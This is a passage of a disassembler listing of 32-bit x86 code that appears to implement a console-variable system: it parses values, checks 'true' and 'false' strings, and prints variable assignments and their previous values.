arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push edi
mov ecx, [esp+8+arg_0]
push eax
add ecx, 1Eh
call sub_401FBE
mov eax, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
push edx
lea ecx, [eax+33h]
call sub_401FBE
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_10]
mov edi, [esp+8+arg_8]
mov [ecx+48h], dl
mov eax, [esp+8+arg_0]
push edi
push eax
mov ecx, esi
call sub_401F32
mov ecx, [esp+8+arg_0]
mov dl, [esp+8+arg_14]
push edi
mov [ecx+4], dl
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_18]
mov [eax+5], ecx
mov ecx, [esp+0Ch+arg_0]
call sub_401FBE
lea edx, [esp+8+arg_0]
lea ecx, [esi+8Eh]
push edx
call sub_401906
sub_40B390 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
retn 1Ch
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B430 proc near ; CODE XREF: sub_401B5Ej
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_40B430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
mov eax, [esp+54h+arg_C]
push ebp
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esp+64h+var_24]
call sub_401861
mov edi, eax
mov ecx, [esp+60h+arg_8]
mov [esp+60h+var_4], 0
push ecx
lea ecx, [esp+64h+var_3C]
call sub_401861
mov ebp, eax
mov edx, [esp+60h+arg_4]
lea ecx, [esp+60h+var_54]
push edx
mov byte ptr [esp+64h+var_4], 1
call sub_401861
mov ecx, [esp+60h+arg_18]
mov edx, [esp+60h+arg_14]
push ecx
mov ecx, [esp+64h+arg_10]
push edx
mov edx, [esp+68h+arg_0]
push ecx
push edi
push ebp
push eax
push edx
mov ecx, esi
mov byte ptr [esp+7Ch+var_4], 2
call sub_40180C
sub_40B430 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov byte ptr [esp+5Ch], 1
call sub_401226
lea ecx, [esp+24h]
mov byte ptr [esp+5Ch], 0
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+5Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+54h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn 1Ch
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B520 proc near ; CODE XREF: sub_4019CEj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_40153C
add esi, 8Eh
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401451
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jz short loc_40B5A1
mov edi, [esp+10h+arg_0]
loc_40B566: ; CODE XREF: sub_40B520+7Fj
push edi
lea ecx, [esp+14h+var_8]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4021AD
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_40B5AB
call sub_40133E
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_401C71
push eax
lea ecx, [esp+14h+var_8]
call sub_40136B
test al, al
jnz short loc_40B566
loc_40B5A1: ; CODE XREF: sub_40B520+40j
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_40B5AB: ; CODE XREF: sub_40B520+60j
call sub_401F5A
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_40B520 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B5F0: ; CODE XREF: ___:00401456j
push 0FFFFFFFFh
push offset loc_438BF8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
mov eax, [esp+28h]
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
call sub_401861
mov ecx, [esp+30h]
mov dword ptr [esp+24h], 0
push ecx
push eax
mov ecx, esi
call sub_4019CE
lea ecx, [esp+4]
mov esi, eax
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 24h
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B680 proc near ; CODE XREF: sub_401596j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B6D1
mov byte ptr [esi+19h], 1
loc_40B6D1: ; CODE XREF: sub_40B680+4Bj
pop esi
retn 8
sub_40B680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B700 proc near ; CODE XREF: sub_401F32j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
mov ecx, esi
mov eax, [edi+9]
push eax
call sub_4015D7
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1CF90h
fstp dword ptr [esi+15h]
add esp, 4
mov ecx, esi
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ecx, esi
mov [esi+1Ah], eax
mov byte ptr [esi+19h], 0
push offset aTrue ; "true"
call sub_4012EE
test eax, eax
jnz short loc_40B755
mov byte ptr [esi+19h], 1
loc_40B755: ; CODE XREF: sub_40B700+4Fj
mov cl, [edi+4]
mov [esi+4], cl
mov edx, [edi+5]
mov [esi+5], edx
pop edi
pop esi
retn 8
sub_40B700 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B790: ; CODE XREF: ___:00401D43j
fld dword ptr [esp+8]
push esi
mov esi, [esp+8]
sub esp, 8
fstp qword ptr [esp]
push offset aF ; "%f"
push esi
call sub_40102D
mov eax, [esp+1Ch]
add esp, 10h
mov ecx, esi
mov [esi+15h], eax
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
fld dword ptr [esp+10h]
fcomp flt_43E024
mov [esi+1Ah], eax
add esp, 4
mov byte ptr [esi+19h], 0
fnstsw ax
test ah, 1
jnz short loc_40B7E1
mov byte ptr [esi+19h], 1
loc_40B7E1: ; CODE XREF: ___:0040B7DBj
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B810: ; CODE XREF: ___:00401C94j
push ebx
mov bl, [esp+0Ch]
test bl, bl
push esi
jz short loc_40B840
mov esi, [esp+0Ch]
push offset aTrue ; "true"
mov ecx, esi
call sub_4015D7
mov dword ptr [esi+15h], 3F800000h
mov dword ptr [esi+1Ah], 1
mov [esi+19h], bl
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40B840: ; CODE XREF: ___:0040B818j
mov esi, [esp+0Ch]
push offset aFalse ; "false"
mov ecx, esi
call sub_4015D7
xor eax, eax
mov [esi+19h], bl
mov [esi+15h], eax
mov [esi+1Ah], eax
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B880: ; CODE XREF: ___:00401D6Bj
push esi
mov esi, [esp+8]
push edi
mov edi, [esp+10h]
push edi
push offset dword_4437F4
push esi
call sub_40102D
fild dword ptr [esp+1Ch]
add esp, 0Ch
cmp edi, 1
mov [esi+1Ah], edi
mov byte ptr [esi+19h], 0
fstp dword ptr [esi+15h]
jl short loc_40B8B0
mov byte ptr [esi+19h], 1
loc_40B8B0: ; CODE XREF: ___:0040B8AAj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B8D0: ; CODE XREF: ___:loc_401ACDj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_438C30
push eax
mov large fs:0, esp
sub esp, 4Ch
push ebx
push ebp
push esi
mov esi, [esp+68h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BA12
lea ebx, [esi+69h]
mov ecx, ebx
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aCvar ; "(cvar)"
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+6Ch]
call sub_40153C
add ebp, 8Eh
lea edx, [esp+10h]
push edx
mov ecx, ebp
xor edi, edi
call sub_401451
mov eax, [eax]
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
mov [esp+70h], eax
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jz loc_40BA0B
loc_40B976: ; CODE XREF: ___:0040BA05j
lea ecx, [esp+6Ch]
inc edi
call sub_401F5A
mov ecx, [eax]
add ecx, 33h
call sub_4017E4
push eax
lea ecx, [esp+70h]
call sub_401F5A
mov ecx, [eax]
call sub_4017E4
push eax
lea ecx, [esp+74h]
call sub_401F5A
mov ecx, [eax]
add ecx, 1Eh
call sub_4017E4
push eax
push edi
push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")"
mov ecx, ebx
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 24h
push 5DCh
nop
call near ptr 2850303h
lea ecx, [esp+6Ch]
call sub_40133E
lea ecx, [esp+10h]
push ecx
mov ecx, ebp
call sub_401C71
push eax
lea ecx, [esp+70h]
call sub_40136B
test al, al
jnz loc_40B976
loc_40BA0B: ; CODE XREF: ___:0040B970j
mov al, 1
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BA12: ; CODE XREF: ___:0040B907j
lea ecx, [ebp+32h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40BAA5
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 0
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSS_5 ; "%s = \"%s\""
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
jmp loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BAA5: ; CODE XREF: ___:0040BA24j
lea ecx, [ebp+60h]
call sub_4014D3
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_40BB98
push offset asc_443600 ; " "
lea edx, [esp+30h]
push 1
push edx
mov ecx, esi
call sub_4016AE
push 1
push eax
mov ecx, ebp
mov dword ptr [esp+6Ch], 1
call sub_4019CE
lea ecx, [esp+2Ch]
mov edi, eax
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
test edi, edi
jz loc_40BB98
push edi
lea ecx, [esp+18h]
call sub_4014C9
mov ebx, 2
push 1
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push ebx
push eax
mov ecx, esi
mov [esp+74h], ebx
call sub_4011EA
push eax
push edi
mov ecx, ebp
mov byte ptr [esp+6Ch], 3
call sub_401F32
lea ecx, [esp+44h]
mov [esp+64h], bl
call sub_401226
lea ecx, [esp+14h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
lea ecx, [edi+1Eh]
call sub_4017E4
push eax
push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 20h
lea ecx, [esp+14h]
mov dword ptr [esp+64h], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_40BB9A
; ---------------------------------------------------------------------------
loc_40BB98: ; CODE XREF: ___:0040BA60j
; ___:0040BAB7j ...
xor al, al
loc_40BB9A: ; CODE XREF: ___:0040BA0Dj
; ___:0040BAA0j ...
mov ecx, [esp+5Ch]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 58h
retn 4
; ---------------------------------------------------------------------------
db 90h
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BC70 proc near ; CODE XREF: sub_401BF4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_4021CB
sub_40BC70 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BCB0 proc near ; CODE XREF: sub_401555j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401FCD
sub_40BCB0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD20 proc near ; CODE XREF: sub_401451j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4020F9
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BD60 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_4014A6
mov eax, esi
pop esi
retn 4
sub_40BD60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BD90 proc near ; CODE XREF: sub_401906j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401C71
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401C49
sub_40BD90 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BDD0 proc near ; CODE XREF: sub_401BEFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401C71
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401451
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40124E
pop esi
add esp, 0Ch
retn
sub_40BDD0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE20 proc near ; CODE XREF: sub_40153Cj
push esi
mov esi, ecx
call sub_40213A
mov eax, esi
pop esi
retn
sub_40BE20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE40 proc near ; CODE XREF: sub_401F5Aj
mov eax, [ecx]
push eax
call sub_401839
add esp, 4
retn
sub_40BE40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE60 proc near ; CODE XREF: sub_40133Ej
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020F9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_40BE60 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BE90 proc near ; CODE XREF: sub_40136Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401CE9
neg al
sbb eax, eax
inc eax
retn 4
sub_40BE90 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BEC0 proc near ; CODE XREF: sub_401C49j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4016A4
mov edi, eax
push edi
call sub_40213F
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_4021CB
sub_40BEC0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_40213F
push edi
mov [eax], ebx
call sub_40213F
mov edi, [eax]
push edi
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401839
add esp, 4
mov ecx, esi
push eax
call sub_401F14
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_4014A6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40BF60 proc near ; CODE XREF: sub_40124Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jz short loc_40BFBA
loc_40BF78: ; CODE XREF: sub_40BF60+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401B86
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40106E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40136B
test al, al
jnz short loc_40BF78
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_40BFBA: ; CODE XREF: sub_40BF60+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_40BF60 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40BFF0 proc near ; CODE XREF: sub_4021CBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_40155F
sub_40BFF0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_40C005
mov edi, esi
loc_40C005: ; CODE XREF: ___:0040C001j
push esi
call sub_4020F9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_40C01A
mov edi, esi
loc_40C01A: ; CODE XREF: ___:0040C016j
push esi
call sub_40213F
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C040 proc near ; CODE XREF: sub_401FCDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_402059
sub_40C040 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C060 proc near ; CODE XREF: sub_4020F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_40C060 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C080 proc near ; CODE XREF: sub_401839j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_40C080 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0A0 proc near ; CODE XREF: sub_40213Aj
mov eax, ecx
retn
sub_40C0A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0C0 proc near ; CODE XREF: sub_4014A6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40105A
mov eax, esi
pop esi
retn 4
sub_40C0C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C0F0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_40C0F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C120 proc near ; CODE XREF: sub_40106Ej
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401B86
mov ecx, eax
call sub_4016A4
mov esi, eax
push esi
call sub_4020F9
push esi
mov ebx, eax
call sub_40213F
mov ecx, [eax]
push ecx
call sub_4020F9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_40213F
push esi
mov ebx, eax
call sub_4020F9
mov eax, [eax]
push eax
call sub_40213F
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401839
add esp, 1Ch
mov ecx, edi
push eax
call sub_401221
push esi
mov ecx, edi
call sub_401FCD
sub_40C120 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C1E0 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_40C1E0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C200 proc near ; CODE XREF: sub_40155Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_40C200 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C230 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40C230 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C250 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4011AE
add esp, 8
retn 8
sub_40C250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C280 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_40C280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2A0 proc near ; CODE XREF: sub_4016A4j
mov eax, [ecx]
retn
sub_40C2A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2C0 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40133E
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_40C2C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C2F0 proc near ; CODE XREF: sub_401221j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_2
pop ecx
retn 4
sub_40C2F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C310 proc near ; CODE XREF: sub_4011AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40C32B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40C32B: ; CODE XREF: sub_40C310+11j
retn
sub_40C310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C360 proc near ; CODE XREF: sub_401BE5j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_40C360 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C400 proc near ; CODE XREF: sub_401712j
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
